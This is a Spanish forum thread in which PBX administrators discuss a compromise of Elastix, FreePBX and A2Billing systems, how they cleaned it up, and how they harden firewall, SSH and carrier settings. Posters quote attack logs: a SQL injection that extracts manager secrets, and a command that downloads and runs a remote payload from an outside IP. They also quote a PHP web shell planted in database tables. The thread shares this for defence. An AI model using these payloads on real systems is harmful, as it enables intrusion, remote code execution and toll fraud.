rleiva lo único que se me ocurre es que revises el cron si se ejecuta automático es la única forma. Otra opción es mirar en el sistema todos los ficheros que su último acceso fue hace x minutos y ver cuáles son sospechosos
Espero tengas suerte
rleiva lo único que se me ocurre es que revises el cron si se ejecuta automático es la única forma. Otra opción es mirar en el sistema todos los ficheros que su último acceso fue hace x minutos y ver cuáles son sospechosos
Espero tengas suerte
rleiva
Estimado, habrá encontrado alguna solución? Estoy en las mismas condiciones que vos.
Ya lo he intentado todo, desde el bloqueo de puertos hasta una auditoría sobre el filesystem.
Alguien tiene alguna idea?
Ya has bloqueado la IP desde la cual baja los scripts?
navaismo Cuando esto pasa ya el script es local en el equipo y bloquear puertos no resolverá nada porque se trata de un php malicioso que entró al sistema y se ejecuta a cada rato..
Lo que finalmente yo hice después de bloquear todos los puertos y seguir el consejo de hgmnetwork con la seguridad adicional http y que me resultó fue desinstalar todo Elastix, FreePBX, A2Billing y dejar borrado manualmente cualquier directorio o archivo PHP dentro de /var/www/html y luego instalar de nuevovia yum las cosas (yum install elastix, yum install freePBX) y pues también hago un yum reinstall fail2ban y con eso de alguna forma mato a ese proceso. También elimino del cron todos los procesos que generalmente es uno y ese es el backup diario del servidor.
Espero esto ayude en algo.
striderec Cuando esto pasa ya el script es local en el equipo y bloquear puertos no resolverá nada porque se trata de un php malicioso que entró al sistema y se ejecuta a cada rato..
¿Y alguien se ha tomado la molestia de crear un log de lo que ejecuta? ¿Una caja dedicada a analizar el exploit? ¿Las llamadas que hace? ¿Cada cuando se ejecuta?
navaismo
Me podrías dar algo mas de info para hacer eso? Lo que yo hice fue sacar una auditoría de los archivos modificados, pero no se cual es el proceso que los modifica.
Me aconsejarías algún método para analizar los procesos en Linux?
Gracias!
navaismo Desafortunadamente mi tiempo en estos días con trabajo es limitadísimo y tenía que encontrar una solución efectiva y aplicarla lo antes posible para liberarme de ese dolor de cabeza, situación que la estoy compartiendo aquí en el foro.
Igual si te pones a ver bien yo ya analicé y compartí logs y todo eso ya que fui yo quien inició una tendencia con este problema y publiqué los logs de http, messages y full de asterisk pero nadie dió con la solución al problema sino que sirvió para identificar de dónde proviene y se determinó que proviene del módulo de recordings de la versión de la última versión de freePBX que usó Elastix antes de pasar a ser 3CX.
Sigo aportando,
Veo que los intentos ahora apuntan a otros archivos ademas de Messi.php y magnito.php:
163.172.73.217 - - [29/Jul/2017:18:56:00 -0300] "POST /asterisk/The3Chiefs.php HTTP/1.1" 401 381
37.75.214.194 - - [29/Jul/2017:00:52:44 -0300] "GET /a2billing/customer/iridium_threed.php?transactionID=0+union+select+1%2C%28select+0x3020756e696f6e2073656c65637420312023%29%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C%28select+manager_secret+from+cc_server_manager+where+id+%3D+1%29%2C%28select+config_value+from+cc_config+where+config_key+%3D+0x6d616e616765725f757365726e616d6520%29 HTTP/1.1" 401 381
51.15.12.13 - - [27/Jul/2017:15:41:54 -0300] "POST /asterisk/V-E-M.php?268e31510577740=id%3Buname+-a%3Bcurl+-ks+http%3A%2F%2F51.15.12.13%2Ft%2Fcmd.txt+%3E+%2Ftmp%2Fa.out+%7C%7C+wget+http%3A%2F%2F51.15.12.13%2Ft%2Fcmd.txt+-O+%2Ftmp%2Fa.out+%7C%7C+GET++http%3A%2F%2F51.15.12.13%2Ft%2Fcmd.txt+%3E+%2Ftmp%2Fa.out%3Bphp+%2Ftmp%2Fa.out%3Brm+%2Ftmp%2Fa.out HTTP/1.1" 401 381
Que sirva como registro para bloquear todo tipo de tráfico de esas ips
Saludos!
Estimados todos, la unica solucion es reinstalar todo de nuevo, creo que es la mejor opcion y mas sano, el resto es perder tiempo y dejar un sistema poco estable,
La moraleja es decirle a los lcientes no publicar las maquinas a Internet.
Suerte a todos.
Desde luego, la mejor solución es cerrar los puertos en el router. Al cliente, normalmente esto no le molesta, pero es un inconveniente para el mantenimiento. Yo, de momento, lo que estoy haciendo es parar el servicio httpd, cuando necesito acceder me conecto con webmin levanto el servicio httpd y cuando termino lo paro.
Por otro lado, estoy probando una maquina virtual con doble identificación, es decir, con usuario y password de Apache y de momento no tengo problemas.
RiveraPer lo único que requieres es la conexión por ssh, la cual puedes proteger deshabilitando el acceso a root, utilizando llaves, cambiando el puerto de escucha, habilitando port knocking e incluso, permitiendo a nivel firewalld/iptables las conexiones desde una IP en particular.. y sobre la misma conexión ssh puedes hacer tuneles para alcanzar los puertos del servidor web (80/443) o cualquier otro que requieras...
Saludos,
taVoIP
rleiva Cuando necesitas hacer cambios urgentes de forma remota en la central o tienes extensiones que se conectan de otros países o extensiones conectadas a softphones en los teléfonos inteligentes como BRIA tienes que publicar el servidor al Internet pero como acaban de escribir aquí, es cuestión de liberar lo que se necesita y bloquear el resto. Además no hay que "reinstalar todo" sólamente lo que especifiqué en un comentario anterior y se resuelve.
Algo más sobre esto que acabo de descubrir:
El borrar A2billing con yum erase elastix-a2billing no es suficiente. Deben o entrar a mysql vía línea de comandos y eliminar manualmente la base de datos de A2Billing que el yum no lo hace o si lo quieren más fácil como en mi caso tengan instalado un webmin, luego ir a MySQL DataBase Server y eliminar desde allí a MyA2Billing si no lo usan.
Para el que le interese también y no pueda borrar A2Billing, si abren la base de datos "mya2billing" verán dos tablas al inicio de la lista que se llaman "awanna000000" y otra más que no me recuerdo pero que empieza con a también... por allí inyectan código así que si ustedes usan A2Billing y tienen magnito.php o Messi.php eliminen esas tablas y refuercen la seguridad HTTP como hgmnetwork explicó al inicio de esta tendencia así como reglas de firewall más estrictas. Lo de reinstalar freePBX se mantiene ya que este proceso borra los scripts php de la interfaz web de FreePBX.
Las tablas inyectoras de código en mya2billing son:
a_0000000_wanna y a_000_00000
Y contienen esta estructura:
Field name Type Allow nulls? Key Default value
magnitoo char(255) No None <?php if(md5($_REQUEST["p"]) == "clave-encriptada-de-su-servidor-mysql"){shell_exec($_REQUEST["c"]);}/*su-ip-la-ponen-aqui*/ exit(); ?>
Bórrenlas inmediatamente.
striderec Este paso es BASICO en mis instalaciones, nos les doy opcion a renegar, obviamente con claves Alfanumericas y caracteres raros me ha funcionado bastante, ahora vero que no he perdido el tiempo siendo paranoico.
Salludos
striderec Por mi miedo nunca he realizado el procedimiento de extenciones remotas, me podrias decir que tal te va?, hay forma de camiar el puesto por defecto?, ya que eso nunca lo he encontrado y por eso no he realizado lo de extenciones remotas.
Para ya no pedir mas, donde podria aprender para hacer lo de extenciones remotas.
Saludos.
rene-gomez René,
La mayoría de mis clientes tienen extensiones remotas porque mis equipos están en un centro de datos y yo ofrezco servicio Cloud o centrales virtualizadas allí y obligatoriamente debo abrir IPs al mundo exterior para que ellos puedan entrar. He tenido mis problemas como todos, intrusos me han robado minutos (no mucho, pero igual) me han hecho cambios en FreePBX, rutas salientes, extensiones fantasma y todo eso pero nada que no se pueda controlar rápidamente.
A mi lo que me ha servido es que a nivel de carrier (los proveedores de minutos) sólo tengo abierto a los países a donde mis clientes llaman y el resto bloqueado. También mantengo cuentas prepagadas con ellos y con recargas de $100 en $100 para evitar posibles desfalcos.
A nivel de mis centrales pongo marcación con pines de seguridad para llamadas internacionales y también restrinjo los prefijos de marcado. Algo más que hago es abrir SSH y HTTP / HTTPD sólo a las IP fijas del cliente y las mías para el soporte técnico. Para asterisk tengo Fail2Ban porque es más difícil controlar desde donde se conectarán los clientes porque ellos viajan de un lado a otro y generalmente tienen softphones en sus teléfonos inteligentes.
Para los clientes con su propia central generalmente les dejo para que desde adentro de su oficina hagan cambios y si tienen oficinas en el extranjero sólo doy paso a las IP fijas de internet de esas oficinas remotas y a nada más...